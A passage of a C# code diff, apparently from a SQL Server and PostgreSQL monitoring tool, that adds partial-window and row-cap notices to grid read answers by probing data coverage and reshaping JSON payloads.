+    internal static readonly IReadOnlyDictionary<string, string[]> CompositeSourcesByRead = new Dictionary<string, string[]>(StringComparer.Ordinal)
+    {
+        ["get_blocking"] = ["blocked_process_reports", "dmv_blocking_snapshots"],
+    };
+
+    /// <summary>
+    /// Every probe source for a listed read: the composite's sources when <see cref="CompositeSourcesByRead"/> names the read, else the
+    /// one <see cref="TryGetReadSource"/> gives. False when any source cannot be resolved.
+    /// </summary>
+    internal static bool TryGetReadSources(string read, out IReadOnlyList<DataWindowFloor.Source> sources)
+    {
+        if (CompositeSourcesByRead.TryGetValue(read, out var tables))
+        {
+            var list = new List<DataWindowFloor.Source>(tables.Length);
+            foreach (var table in tables)
+            {
+                if (!TryGetSource(table, out var one))
+                {
+                    sources = [];
+                    return false;
+                }
+
+                list.Add(one);
+            }
+
+            sources = list;
+            return true;
+        }
+
+        if (TryGetReadSource(read, out var single))
+        {
+            sources = [single];
+            return true;
+        }
+
+        sources = [];
+        return false;
+    }
+
+    /// <summary>
+    /// The probe source for a listed read: its collector's runs when <see cref="CollectorRunsByRead"/> names one, else the source
+    /// of the table <see cref="TableByRead"/> gives it. False for a read in neither, or a table the probe cannot read by index.
+    /// </summary>
+    internal static bool TryGetReadSource(string read, out DataWindowFloor.Source source)
+    {
+        if (CollectorRunsByRead.TryGetValue(read, out var collector))
+        {
+            source = DataWindowFloor.Source.ForCollectorRuns(collector);
+            return true;
+        }
+
+        if (TableByRead.TryGetValue(read, out var table))
+        {
+            return TryGetSource(table, out source);
+        }
+
+        source = null!;
+        return false;
+    }
+
+    /// <summary>
+    /// The probe source for a table <see cref="TableByRead"/> names: the collection log's own source for
+    /// <see cref="CollectionLogTable"/>, the collector table's for every other name, false for a table the probe
+    /// cannot read by index.
+    /// </summary>
+    internal static bool TryGetSource(string table, out DataWindowFloor.Source source)
+    {
+        if (string.Equals(table, CollectionLogTable, StringComparison.Ordinal))
+        {
+            source = DataWindowFloor.Source.ForCollectionLog();
+            return true;
+        }
+
+        if (string.Equals(table, MemoryPressureEventsTable, StringComparison.Ordinal))
+        {
+            source = DataWindowFloor.Source.ForMemoryPressureEvents();
+            return true;
+        }
+
+        return DataWindowFloor.Source.TryForCollectorTable(table, out source);
+    }
+
+    /// <summary>
+    /// The <c>status</c> words a listed read answers its ROWS with. Any other <c>status</c> is an envelope
+    /// (<c>empty</c>, <c>unavailable</c>, <c>invalid</c>) and is left as it is. <c>get_pg_server_config_changes</c>
+    /// names its page <c>config_changes</c>, and the page reads an answer as an envelope only when it carries a
+    /// <c>message</c> too.
+    /// </summary>
+    private static readonly HashSet<string> RowStatuses = new(StringComparer.Ordinal)
+    {
+        "config_changes",
+        "blocking_sampled", "cycles_only", "database_activity", "session_states", "io_activity",
+        "database_trend", "query_duration_trend", "wait_trend", "io_trend",
+        "holder_present", "tables_with_pending_maintenance", "slots_present", "index_usage",
+    };
+
+    /// <summary>
+    /// The <c>status</c> word a listed read answers its ROWS with when the word is that read's alone (#4966). <c>events</c> and
+    /// <c>deadlocks</c> are not in <see cref="RowStatuses"/>: another read may use the word for an envelope.
+    /// </summary>
+    internal static readonly IReadOnlyDictionary<string, string> RowStatusByRead = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["get_pg_deadlocks"] = "deadlocks",
+        ["get_pg_log_events"] = "events",
+    };
+
+    /// <summary>
+    /// The one <c>status</c> word each listed read answers with when it LOOKED and found nothing in the window (#4966): the
+    /// word a reader takes for "nothing happened". Over a short history an empty span reads as quiet when it is only short, and
+    /// empty is these grids' usual state, so an answer carrying the word goes through the coverage probe and gets the same
+    /// note rows do. Every other word (<c>unavailable</c>, <c>not_collected</c>, <c>invalid</c>) keeps its own message and gets
+    /// none: it says something other than "nothing happened".
+    ///
+    /// <para>The change histories and the collection log answer <c>empty</c> (the PostgreSQL changes read says
+    /// <c>no_changes</c>), as do waiting tasks, plan corrections, wait sampling, kernel stats, lock stats and predicate stats: each ran its
+    /// query and found no rows in the window. The collection log's <c>empty</c> covers a quiet window and a filter that matched
+    /// nothing, and the coverage fact holds for both; its <c>unavailable</c> (never collected) stays as it is. Latch stats,
+    /// spinlock stats, wait stats, PostgreSQL wait events and PostgreSQL top queries are left out: their no-rows answer is <c>unavailable</c>. A test
+    /// reads each tool's source and holds both halves.</para>
+    ///
+    /// <para>The PostgreSQL window reads (#4966): database stats, session states, replication stats, the four trends and Captured Plans
+    /// answer <c>empty</c>; a server with no row and no logged run in the window gets no note, whatever the word. (For the database
+    /// and wait trends <c>empty</c>, and for the I/O summary <c>no_io_activity</c>, a history too short to difference may also
+    /// answer it; the coverage fact holds for that case too.) Blocking answers <c>no_blocking_sampled</c> (captures exist and none held
+    /// a chain) and the I/O summary <c>no_io_activity</c>. Never admitted: <c>not_sampled</c> (blocking found no capture at all),
+    /// <c>precondition</c> (Captured Plans, capture is not configured) and <c>unavailable</c>.</para>
+    /// </summary>
+    internal static readonly IReadOnlyDictionary<string, string> NothingFoundStatusByRead = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["get_waiting_tasks"] = "empty",
+        ["get_pg_wait_sampling"] = "empty",
+        ["get_pg_kernel_stats"] = "empty",
+        ["get_pg_lock_stats"] = "empty",
+        ["get_pg_predicate_stats"] = "empty",
+        ["get_server_config_changes"] = "empty",
+        ["get_database_config_changes"] = "empty",
+        ["get_trace_flag_changes"] = "empty",
+        ["get_pg_server_config_changes"] = "no_changes",
+        ["get_collection_log"] = "empty",
+        ["get_plan_corrections"] = "empty",
+
+        /* The PostgreSQL window reads (#4966). Blocking and the I/O summary name their own nothing-found word; the rest say empty.
+           Top queries has none: its empty answer is unavailable (no extension or no snapshot), which says nothing was captured.
+           Not admitted anywhere: unavailable, not_collected, not_sampled (blocking's "the collector never ran") and precondition
+           (Captured Plans' "capture is not configured"). */
+        ["get_pg_blocking"] = "no_blocking_sampled",
+        ["get_pg_database_stats"] = "empty",
+        ["get_pg_session_states"] = "empty",
+        ["get_pg_io_stats"] = "no_io_activity",
+        ["get_pg_replication_stats"] = "empty",
+        ["get_pg_database_trend"] = "empty",
+        ["get_pg_query_duration_trend"] = "empty",
+        ["get_pg_wait_trend"] = "empty",
+        ["get_pg_io_trend"] = "empty",
+        ["get_pg_plans"] = "empty",
+
+        /* The SQL Server event reads (#4966) answer empty when the window held no event; unavailable-style words do not exist
+           on them, and not_collected (no such trace on this engine) stays out. */
+        ["get_blocked_process_xml"] = "empty",
+        ["get_long_query_completions"] = "empty",
+        ["get_memory_pressure_events"] = "empty",
+        ["get_default_trace_events"] = "empty",
+
+        /* The nine system_health reads (#4966) answer empty when the window held no qualifying event (a gated read also counts what it
+           filtered out under events_in_window). unavailable with source_observed:false says nothing was captured, and is not admitted. */
+        ["get_health_parser_system_health"] = "empty",
+        ["get_health_parser_severe_errors"] = "empty",
+        ["get_health_parser_io_issues"] = "empty",
+        ["get_health_parser_scheduler_issues"] = "empty",
+        ["get_health_parser_memory_conditions"] = "empty",
+        ["get_health_parser_cpu_tasks"] = "empty",
+        ["get_health_parser_memory_broker"] = "empty",
+        ["get_health_parser_memory_node_oom"] = "empty",
+        ["get_health_parser_significant_waits"] = "empty",
+
+        /* The PostgreSQL event logs, Blocking and Deadlocks (#4966): the window held no event. */
+        ["get_pg_deadlocks"] = "no_deadlocks",
+        ["get_pg_log_events"] = "no_events",
+        ["get_blocking"] = "empty",
+        ["get_deadlocks"] = "empty",
+        ["get_deadlock_detail"] = "empty",
+
+        /* The horizon read answers no_holder only when the collector captured in the window and recorded none (it answers
+           unavailable when no capture is logged), so it is the one of the vacuum, horizon, slot and write reads that says "looked
+           and found nothing". Wraparound answers unavailable, autovacuum no_pending_maintenance and slots no_slots without asking the log
+           whether the collector ran, and write stats empty for a window too short to difference: none of them is admitted. */
+        ["get_pg_xmin_horizon"] = "no_holder",
+
+        /* Index usage (#4966): empty means collection ran and every index is under the size floor, a looked-and-found-nothing answer.
+           Its unavailable (one snapshot, or none in the window) says nothing was read, and is not admitted. */
+        ["get_pg_index_usage"] = "empty",
+    };
+
+    /// <summary>
+    /// The listed reads whose tool takes any window length (<see cref="McpHelpers.ValidateUncappedWindow"/>), not the
+    /// 168-hour ceiling: the collection log keeps 60 days, and its tool exists to look further back than the other
+    /// reads allow, so a note that checked the shared ceiling would stay silent on exactly those windows.
+    /// </summary>
+    private static readonly HashSet<string> UncappedWindowReads = new(StringComparer.Ordinal) { "get_collection_log" };
+
+    /// <summary>
+    /// A window end as an <c>as_of</c> anchor the tools parse back to the same instant (to the millisecond): the web route
+    /// takes the end of a newest-first capped read once and hands it to the read and to <see cref="AddAsync"/>.
+    /// </summary>
+    internal static string FormatWindowEnd(DateTime endUtc) =>
+        endUtc.ToUniversalTime().ToString("yyyy-MM-dd'T'HH:mm:ss.fff'Z'", CultureInfo.InvariantCulture);
+
+    private static string? ValidateWindowFor(string tool, int hours, string? asOf, out DateTime endUtc) =>
+        UncappedWindowReads.Contains(tool)
+            ? McpHelpers.ValidateUncappedWindow(hours, asOf, out endUtc)
+            : McpHelpers.ValidateWindow(hours, asOf, out endUtc);
+
+    /// <summary>
+    /// The listed reads that LIST rows newest first under a row cap and read <c>collection_time</c>
+    /// (<c>get_waiting_tasks</c>: <c>ORDER BY collection_time DESC</c>, the cap read as <c>truncated</c> and
+    /// the end of the shown rows as <c>oldest_returned_collection_time</c>); <c>get_plan_corrections</c> pages its
+    /// recommendations the same way (<c>ORDER BY collection_time DESC</c>, the cap read as <c>truncated</c>, the same
+    /// oldest field and order word). This is a subset of <see cref="CappedByRead"/>, which also holds the two event reads that
+    /// are newest first under a cap (blocked process reports, the Default Trace). Every read in neither is an
+    /// aggregate over the whole window or a list ranked by something other than time, whose cap hides no time range;
+    /// a <c>truncated</c> flag on those answers is about rows kept by rank and does not name a time. A test holds
+    /// this list to these four reads, each name one <see cref="TableByRead"/> lists.
+    /// </summary>
+    internal static readonly IReadOnlySet<string> NewestFirstCappedReads = new HashSet<string>(StringComparer.Ordinal)
+    {
+        "get_waiting_tasks",
+        "get_collection_log",
+        "get_pg_server_config_changes",
+        "get_plan_corrections",
+    };
+
+    /// <summary>
+    /// Reads whose tool writes the window-floor keys and whose page panel is a chart over the asked range: the page strips the
+    /// tool's keys and draws no note, because a chart shows its own empty span. They are not in <see cref="TableByRead"/>,
+    /// so nothing else would remove the tool's UTC sentence.
+    /// </summary>
+    internal static readonly IReadOnlySet<string> StripOnlyReads = new HashSet<string>(StringComparer.Ordinal)
+    {
+        "get_pg_cpu_utilization",
+    };
+
+    /// <summary>
+    /// How to find the earliest event a listed event read shows (#4966): a top-level field that already holds the page's
+    /// minimum (<paramref name="Field"/>), or the minimum of <paramref name="TimeField"/> over the rows under
+    /// <paramref name="RowsKey"/>. The coverage rule then follows <see cref="ViewerEventDataStart.Of"/>, the rule the desktop
+    /// viewer applies: an event carries its own time, and a server's first collection stores history from before it, so the
+    /// notice names the earlier of the coverage start and the earliest event shown.
+    /// </summary>
+    /// <remarks><paramref name="PageIsRanked"/> marks a page ranked by something other than time (the long query page is the
+    /// slowest runs): when that page is cut (<c>truncated: true</c>) it is a sample, its earliest event says nothing about the
+    /// window's start, and only the coverage start is used. The desktop viewer's Long Queries grid keeps the newest 200 by event
+    /// time, so its cap names its oldest event; this page is not that one.</remarks>
+    internal sealed record EventTimeSpec(string? Field, string? RowsKey, string? TimeField, bool PageIsRanked = false);
+
+    /// <summary>The event reads and where each answers its earliest event shown. Memory pressure rows are stamped
+    /// <c>sample_time</c>; the others <c>event_time</c>.</summary>
+    internal static readonly IReadOnlyDictionary<string, EventTimeSpec> EventTimeByRead = new Dictionary<string, EventTimeSpec>(StringComparer.Ordinal)
+    {
+        ["get_blocked_process_xml"] = new("oldest_returned_event_time", null, null),
+        ["get_long_query_completions"] = new("oldest_returned_event_time", null, null, PageIsRanked: true),
+        ["get_memory_pressure_events"] = new(null, "events", "sample_time"),
+        ["get_default_trace_events"] = new(null, "events", "event_time"),
+
+        /* The nine system_health reads (#4966): rows under their own key, each stamped event_time. */
+        ["get_health_parser_system_health"] = new(null, "entries", "event_time"),
+        ["get_health_parser_severe_errors"] = new(null, "errors", "event_time"),
+        ["get_health_parser_io_issues"] = new(null, "issues", "event_time"),
+        ["get_health_parser_scheduler_issues"] = new(null, "issues", "event_time"),
+        ["get_health_parser_memory_conditions"] = new(null, "events", "event_time"),
+        ["get_health_parser_cpu_tasks"] = new(null, "events", "event_time"),
+        ["get_health_parser_memory_broker"] = new(null, "events", "event_time"),
+        ["get_health_parser_memory_node_oom"] = new(null, "events", "event_time"),
+        ["get_health_parser_significant_waits"] = new(null, "waits", "event_time"),
+
+        /* PostgreSQL event logs, Blocking and Deadlocks (#4966). The PG deadlock rows carry occurred_at; the log page names its
+           oldest row; get_blocking and the two deadlock tools name theirs in oldest_returned_event_time / _deadlock_time. */
+        ["get_pg_deadlocks"] = new(null, "deadlocks", "occurred_at"),
+        ["get_pg_log_events"] = new("oldest_returned_at", null, null),
+        ["get_blocking"] = new("oldest_returned_event_time", null, null),
+        ["get_deadlocks"] = new("oldest_returned_deadlock_time", null, null),
+        ["get_deadlock_detail"] = new("oldest_returned_deadlock_time", null, null),
+    };
+
+    /// <summary>
+    /// How a capped list says it was cut and where its shown rows end (#4966). The cap signal is <c>truncated: true</c>
+    /// (<paramref name="TotalKey"/> null), or a total (<paramref name="TotalKey"/>) greater than the count shown
+    /// (<paramref name="ShownKey"/>). The oldest row shown is <paramref name="OldestField"/>, or the minimum of
+    /// <paramref name="TimeField"/> over the rows under <paramref name="RowsKey"/>. <paramref name="NewestFirstOrderWord"/>, when
+    /// set, is the only <c>order</c> word the page may carry: any other means the page is ranked by something other than
+    /// time, so its oldest row names no reach and the coverage rule applies.
+    /// </summary>
+    internal sealed record CappedReadSpec(
+        string? TotalKey, string? ShownKey, string? OldestField, string? RowsKey, string? TimeField, string? NewestFirstOrderWord);
+
+    /// <summary>The listed reads that list rows newest first under a row cap, each with its spec. The four
+    /// <see cref="NewestFirstCappedReads"/> read <c>collection_time</c>; blocked process reports and the Default Trace
+    /// list events by their own time.</summary>
+    internal static readonly IReadOnlyDictionary<string, CappedReadSpec> CappedByRead = new Dictionary<string, CappedReadSpec>(StringComparer.Ordinal)
+    {
+        ["get_waiting_tasks"] = new(null, null, "oldest_returned_collection_time", null, null, McpHelpers.CollectionLogOrderNewestFirst),
+        ["get_collection_log"] = new(null, null, "oldest_returned_collection_time", null, null, McpHelpers.CollectionLogOrderNewestFirst),
+        ["get_plan_corrections"] = new(null, null, "oldest_returned_collection_time", null, null, McpHelpers.CollectionLogOrderNewestFirst),
+
+        /* The changes page names no oldest-returned field: its rows are the changes, newest first, each stamped changed_at. */
+        [PgConfigChangesRead] = new(null, null, null, "changes", "changed_at", McpHelpers.CollectionLogOrderNewestFirst),
+
+        /* Event reads (#4966). Blocked process reports: truncated + oldest_returned_event_time, order word event_time_desc. The
+           Default Trace has no flag and no oldest field: it is cut when total_events exceeds shown, and its oldest row is the
+           minimum event_time. */
+        ["get_blocked_process_xml"] = new(null, null, "oldest_returned_event_time", null, null, null),
+        ["get_default_trace_events"] = new("total_events", "shown", null, "events", "event_time", null),
+
+        /* The nine system_health reads (#4966): newest first, cut by the limit. Each answers its count of qualifying events beside
+           shown and no oldest field, so the oldest row shown is the minimum event_time. */
+        ["get_health_parser_system_health"] = new("total_entries", "shown", null, "entries", "event_time", null),
+        ["get_health_parser_severe_errors"] = new("error_count", "shown", null, "errors", "event_time", null),
+        ["get_health_parser_io_issues"] = new("issue_count", "shown", null, "issues", "event_time", null),
+        ["get_health_parser_scheduler_issues"] = new("issue_count", "shown", null, "issues", "event_time", null),
+        ["get_health_parser_memory_conditions"] = new("event_count", "shown", null, "events", "event_time", null),
+        ["get_health_parser_cpu_tasks"] = new("event_count", "shown", null, "events", "event_time", null),
+        ["get_health_parser_memory_broker"] = new("event_count", "shown", null, "events", "event_time", null),
+        ["get_health_parser_memory_node_oom"] = new("event_count", "shown", null, "events", "event_time", null),
+        ["get_health_parser_significant_waits"] = new("wait_count", "shown", null, "waits", "event_time", null),
+
+        /* PostgreSQL event logs, Blocking and Deadlocks (#4966). The PG deadlock page has truncated and the rows' occurred_at but
+           no oldest field and no order word; the log page says "newest first"; the three SQL Server tools carry their oldest
+           field and an order word. */
+        ["get_pg_deadlocks"] = new(null, null, null, "deadlocks", "occurred_at", null),
+        ["get_pg_log_events"] = new(null, null, "oldest_returned_at", null, null, "newest first"),
+        ["get_blocking"] = new(null, null, "oldest_returned_event_time", null, null, "event_time_desc"),
+        ["get_deadlocks"] = new(null, null, "oldest_returned_deadlock_time", null, null, "deadlock_time_desc"),
+        ["get_deadlock_detail"] = new(null, null, "oldest_returned_deadlock_time", null, null, "deadlock_time_desc"),
+    };
+
+    /// <summary>
+    /// The three window-floor keys a listed read's tool writes itself at the top level of a data answer (#4966).
+    /// </summary>
+    private static readonly string[] ToolWindowFloorKeys = ["effective_start", "window_truncated", "truncation_note"];
+
+    /// <summary>
+    /// Removes the tool's own window-floor keys from a data answer (an <c>empty</c> status keeps its copy under
+    /// <c>hints</c>, which the page does not read). The guard below then sees the payload as it was before the tool
+    /// wrote them, so a tool's <c>window_truncated: false</c> can neither hide the web's capped note nor stand in for it.
+    /// </summary>
+    private static void StripToolWindowFloor(JsonObject? payload)
+    {
+        if (payload is null)
+        {
+            return;
+        }
+
+        foreach (var key in ToolWindowFloorKeys)
+        {
+            payload.Remove(key);
+        }
+    }
+
+    /// <summary>
+    /// <paramref name="result"/> with the notice fields added when <paramref name="tool"/> is a listed grid read whose
+    /// window starts before its table's coverage, or is a newest-first list (<see cref="CappedByRead"/>) that
+    /// hit its row cap; otherwise <paramref name="result"/> itself, untouched.
+    /// <paramref name="hoursBack"/> is the window the page asked for (null or below 1: none was asked), and
+    /// <paramref name="asOf"/> the request's window anchor.
+    /// <para>A listed read's tool may write the same three keys itself (#4966: <c>effective_start</c>,
+    /// <c>window_truncated</c>, <c>truncation_note</c>, the MCP dialect, in UTC). The page draws its own note from the
+    /// fields this method adds, in the browser's zone, so the tool's three are removed first and the note is decided as
+    /// it was before the tool wrote them: the page gets the same answer, capped or coverage. When a note is added, the
+    /// payload that carries it is the stripped one. When no note is added (covered, a short window, a failed probe, a capped
+    /// page that reaches the start), the tool's three keys are stripped as well, so a listed read never hands the page the
+    /// tool's own UTC verdict: the page sees only the note this method writes, or none.</para>
+    /// </summary>
+    internal static async Task<string> AddAsync(
+        NpgsqlDataSource postgres, string tool, string? server, int? hoursBack, string? asOf, string result,
+        ILogger? logger, CancellationToken cancellationToken)
+    {
+        var answered = await AddNoteAsync(postgres, tool, server, hoursBack, asOf, result, logger, cancellationToken);
+        if (!ReferenceEquals(answered, result) || !(TableByRead.ContainsKey(tool) || StripOnlyReads.Contains(tool)))
+        {
+            return answered;
+        }
+
+        /* No note was added, and the answer is still the tool's own: its three window-floor keys (in UTC, the MCP dialect) are not
+           the page's, so a covered range reaches the page without them, as a tool that never wrote them would send it. */
+        try
+        {
+            if (JsonNode.Parse(result) is JsonObject own && ToolWindowFloorKeys.Any(own.ContainsKey))
+            {
+                StripToolWindowFloor(own);
+                return own.ToJsonString(McpHelpers.JsonOptions);
+            }
+        }
+        catch (System.Text.Json.JsonException)
+        {
+        }
+
+        return result;
+    }
+
+    private static async Task<string> AddNoteAsync(
+        NpgsqlDataSource postgres, string tool, string? server, int? hoursBack, string? asOf, string result,
+        ILogger? logger, CancellationToken cancellationToken)
+    {
+        if (string.IsNullOrWhiteSpace(server)
+            || hoursBack is not int hours
+            || hours < 1
+            || !TryGetReadSources(tool, out var sources))
+        {
+            return result;
+        }
+
+        JsonObject? payload;
+        try
+        {
+            payload = JsonNode.Parse(result) as JsonObject;
+        }
+        catch (System.Text.Json.JsonException)
+        {
+            return result;
+        }
+
+        /* Strips the parsed copy: a note goes out on it. The early returns below send `result` itself, and AddAsync strips the
+           tool's keys from that. */
+        StripToolWindowFloor(payload);
+
+        /* Rows, or the answer that says the read looked and found nothing (#4966, NothingFoundStatusByRead): an empty span
+           over a short history reads as "nothing happened" when it is only short, so that answer gets the note too. The
+           probe counts a server only when it holds a row or logged a run in the window, so a server that did neither is
+           left without one, as before. Any other envelope (unavailable, not_collected, invalid), an error, or a tool that
+           already reports its own window floor is left as it is. */
+        if (payload is null
+            || (payload.ContainsKey("status") && !IsRowStatus(tool, payload) && !IsNothingFoundStatus(tool, payload))
+            || payload.ContainsKey("error")
+            || payload.ContainsKey("window_truncated"))
+        {
+            return result;
+        }
+
+        /* A newest-first list that hit its row cap (#4966): the grid ends at the oldest row the read returned, which
+           the store's coverage cannot move, so the note names that row. The answer carries it, so no probe: a store
+           that covers the whole range still gets the note, and a store that does not names the same row, never an
+           earlier one the grid does not show. */
+        if (CappedByRead.TryGetValue(tool, out var cappedSpec) && TryReadCappedStart(cappedSpec, payload, out var oldestShown, out var oldestText))
+        {
+            if (ValidateWindowFor(tool, hours, asOf, out var cappedEnd) is not null)
+            {
+                return result;
+            }
+
+            /* Only a page that stops short of the window's start is cut by its row cap. One whose oldest row is at the
+               start, or before it, shows the whole range, so it says nothing: strictly later, with no slack (the
+               90-minute slack belongs to the coverage rule below), as Lite's capped grids judge it
+               (ServerTab.ApplyCappedWindowFloorToBanner). */
+            var cappedStart = cappedEnd.AddHours(-hours);
+            if (oldestShown <= cappedStart)
+            {
+                return result;
+            }
+
+            payload["window_truncated"] = true;
+            payload["effective_start"] = oldestText;
+            payload["truncation_note"] = ComposeStoreAvailability.BuildCappedListNotice(oldestShown, cappedStart, cappedEnd);
+            AddInstants(payload, OldestShownField, oldestShown, cappedStart, cappedEnd);
+            return payload.ToJsonString();
+        }
+
+        /* A window no longer than the slack can never be called cut by the store: the coverage rule needs a start more
+           than RawWindowFloor's 90 minutes after the window's own, and the probe reports none at or after the window's
+           end, so a window of an hour or less always comes back covered. Skip the registry read and the floor read that
+           would say so (the capped list above does not use the probe and keeps its note at any length). */
+        if (TimeSpan.FromHours(hours) <= DurationTrendRouting.TruncationSlack)
+        {
+            return result;
+        }
+
+        try
+        {
+            var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server, cancellationToken);
+            if (error is not null || ValidateWindowFor(tool, hours, asOf, out var windowEnd) is not null)
+            {
+                return result;
+            }
+
+            var windowStart = windowEnd.AddHours(-hours);
+            var dataStart = await DataWindowFloor.GetAsync(
+                postgres, sources, [resolved.ServerName], windowStart, windowEnd, StorageCommandDeadlines.McpReadSeconds, cancellationToken);
+
+            /* An event read follows the event-time rule (ViewerEventDataStart.Of): the earlier of the coverage start and the
+               earliest event the page shows, or that event alone when the probe found no coverage but rows exist. Any other
+               read keeps the coverage start, and a probe with no start says nothing. */
+            var start = dataStart;
+            if (EventTimeByRead.TryGetValue(tool, out var eventTime))
+            {
+                /* A cut page ranked by duration is a sample of the window: its earliest event is not the window's earliest, so
+                   only the coverage start applies. */
+                var sampled = eventTime.PageIsRanked && payload["truncated"] is JsonValue cut && cut.TryGetValue<bool>(out var wasCut) && wasCut;
+                start = sampled
+                    ? dataStart
+                    : ViewerEventDataStart.Of(dataStart, ReadEarliestEvent(payload, eventTime.Field, eventTime.RowsKey, eventTime.TimeField));
+            }
+
+            if (!RawWindowFloor.IsTruncated(start, windowStart))
+            {
+                return result;
+            }
+
+            payload["window_truncated"] = true;
+            payload["effective_start"] = start!.Value.ToString("o", CultureInfo.InvariantCulture);
+            payload["truncation_note"] = ComposeStoreAvailability.BuildDataStartNotice(start.Value, windowStart, windowEnd);
+            AddInstants(payload, DataStartField, start.Value, windowStart, windowEnd);
+            return payload.ToJsonString();
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* Debug, like the Custom Views runner's probe: the grid is still answered, and this runs once per grid
+               refresh, so a standing fault at Warning would put a line in the log on every one. */
+            logger?.LogDebug(ex, "The data-start probe for {Tool} failed; the grid is answered without a partial-window notice.", tool);
+            return result;
+        }
+    }
+
+    /// <summary>Where the data starts, as a UTC instant: the coverage note's first field (<see cref="AddAsync"/>).</summary>
+    internal const string DataStartField = "data_start_utc";
+
+    /// <summary>The oldest row a capped list shows, as a UTC instant: the capped note's first field.</summary>
+    internal const string OldestShownField = "oldest_shown_utc";
+
+    /// <summary>The window's start, as a UTC instant: on both notes.</summary>
+    internal const string WindowStartField = "window_start_utc";
+
+    /// <summary>The window's end, as a UTC instant: on both notes.</summary>
+    internal const string WindowEndField = "window_end_utc";
+
+    /// <summary>
+    /// The data-start sentence a Custom Views panel's answer carries (#4966), the one <c>notice</c> holds, so the page
+    /// can write that sentence again in the browser's zone and leave any row-cap sentence beside it as it is.
+    /// </summary>
+    internal const string DataStartNoteField = "data_start_note";
+
+    /// <summary>
+    /// The same three instants a grid's coverage note carries (<see cref="DataStartField"/>, <see cref="WindowStartField"/>,
+    /// <see cref="WindowEndField"/>), added to a Custom Views panel's answer beside <c>notice</c> (#4966). The panel's
+    /// <c>notice</c> names its times in UTC for any other reader; the page composes it again from these in the clock its
+    /// own times are printed in. <paramref name="sentence"/> is the data-start sentence inside <c>notice</c>.
+    /// </summary>
+    internal static void AddComposedPanelInstants(
+        JsonObject payload, string sentence, DateTime dataStartUtc, DateTime windowStartUtc, DateTime windowEndUtc)
+    {
+        payload[DataStartNoteField] = sentence;
+        AddInstants(payload, DataStartField, dataStartUtc, windowStartUtc, windowEndUtc);
+    }
+
+    /// <summary>
+    /// The note's instants as fields beside its sentence (#4966). The sentence names them in UTC, which is all an
+    /// MCP client or any other reader of the tool's answer can use; the page prints every time in the browser's zone
+    /// (<c>localTime</c>) and so composes the note again from these (<c>util.js</c>, the way <c>keptWindowStrip</c>
+    /// composes its strip from <c>keptHours</c>), so a note above a grid reads in the grid's own clock. Each is an
+    /// ISO instant with an explicit <c>Z</c>. A page that finds one missing draws the sentence as sent.
+    /// </summary>
+    private static void AddInstants(JsonObject payload, string startField, DateTime start, DateTime windowStart, DateTime windowEnd)
+    {
+        payload[startField] = Instant(start);
+        payload[WindowStartField] = Instant(windowStart);
+        payload[WindowEndField] = Instant(windowEnd);
+    }
+
+    /* Every instant here is UTC: the store's times carry no zone, and the window comes from DateTime.UtcNow or the
+       request's as_of. Stamped Utc, so the "o" form ends in Z. */
+    private static string Instant(DateTime utc) =>
+        DateTime.SpecifyKind(utc, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture);
+
+    /// <summary>
+    /// Whether a newest-first list's answer says its row cap cut it (<see cref="CappedReadSpec"/>: <c>truncated: true</c>, or a
+    /// total greater than the count shown), and the time of the oldest row it returned, as the tool wrote it and read as UTC (the
+    /// store's times carry no zone). False for an answer that did not hit its cap, that was ranked by something other than time, or
+    /// that names no readable time: those take the coverage rule.
+    /// </summary>
+    private static bool TryReadCappedStart(CappedReadSpec spec, JsonObject payload, out DateTime oldestShownUtc, out string oldestText)
+    {
+        oldestShownUtc = default;
+        oldestText = string.Empty;
+
+        if (!HitCap(spec, payload))
+        {
+            return false;
+        }
+
+        /* A read that can rank its page by something other than time says which order it answered in: a page ranked
+           slowest first (get_collection_log with a duration floor) is a sample of the whole window, so its oldest row
+           names no reach and the coverage rule applies. A page with no order field is the time-ordered one. */
+        if (spec.NewestFirstOrderWord is not null
+            && payload["order"] is JsonValue order
+            && order.TryGetValue<string>(out var orderText)
+            && !string.Equals(orderText, spec.NewestFirstOrderWord, StringComparison.Ordinal))
+        {
+            return false;
+        }
+
+        var text = EarliestTimeText(payload, spec.OldestField, spec.RowsKey, spec.TimeField);
+        if (text is null
+            || !TryParseUtc(text, out oldestShownUtc))
+        {
+            return false;
+        }
+
+        oldestText = text;
+        return true;
+    }
+
+    private static bool HitCap(CappedReadSpec spec, JsonObject payload)
+    {
+        if (spec.TotalKey is null)
+        {
+            return payload["truncated"] is JsonValue cap && cap.TryGetValue<bool>(out var hit) && hit;
+        }
+
+        return payload[spec.TotalKey] is JsonValue total && total.TryGetValue<long>(out var all)
+            && payload[spec.ShownKey!] is JsonValue shown && shown.TryGetValue<long>(out var count)
+            && all > count;
+    }
+
+    private static bool TryParseUtc(string text, out DateTime utc) =>
+        DateTime.TryParse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal, out utc);
+
+    /* The earliest event time an answer shows, as the text the tool wrote: the top-level field when one is named and readable,
+       else the earliest time field over the rows. Null when nothing readable is there. */
+    private static string? EarliestTimeText(JsonObject payload, string? field, string? rowsKey, string? timeField)
+    {
+        if (field is not null)
+        {
+            return payload[field] is JsonValue v && v.TryGetValue<string>(out var read) ? read : null;
+        }
+
+        if (rowsKey is null || timeField is null || payload[rowsKey] is not JsonArray rows)
+        {
+            return null;
+        }
+
+        string? oldestText = null;
+        DateTime oldest = default;
+        foreach (var row in rows)
+        {
+            if (row?[timeField] is JsonValue value
+                && value.TryGetValue<string>(out var text)
+                && TryParseUtc(text, out var at)
+                && (oldestText is null || at < oldest))
+            {
+                oldestText = text;
+                oldest = at;
+            }
+        }
+
+        return oldestText;
+    }
+
+    private static DateTime? ReadEarliestEvent(JsonObject payload, string? field, string? rowsKey, string? timeField) =>
+        EarliestTimeText(payload, field, rowsKey, timeField) is string text && TryParseUtc(text, out var at) ? at : null;
+
+    /// <summary>The PostgreSQL configuration changes read: a newest-first list of changes under <c>limit</c>, whose answer
+    /// says it was cut (<c>truncated</c>) but carries its rows' times only on the rows (<c>changes[].changed_at</c>).</summary>
+    internal const string PgConfigChangesRead = "get_pg_server_config_changes";
+
+    /* Whether the answer's status word is one a listed read puts on its ROWS (RowStatuses) rather than an envelope. */
+    private static bool IsRowStatus(string tool, JsonObject payload) =>
+        payload["status"] is JsonValue word && word.TryGetValue<string>(out var status)
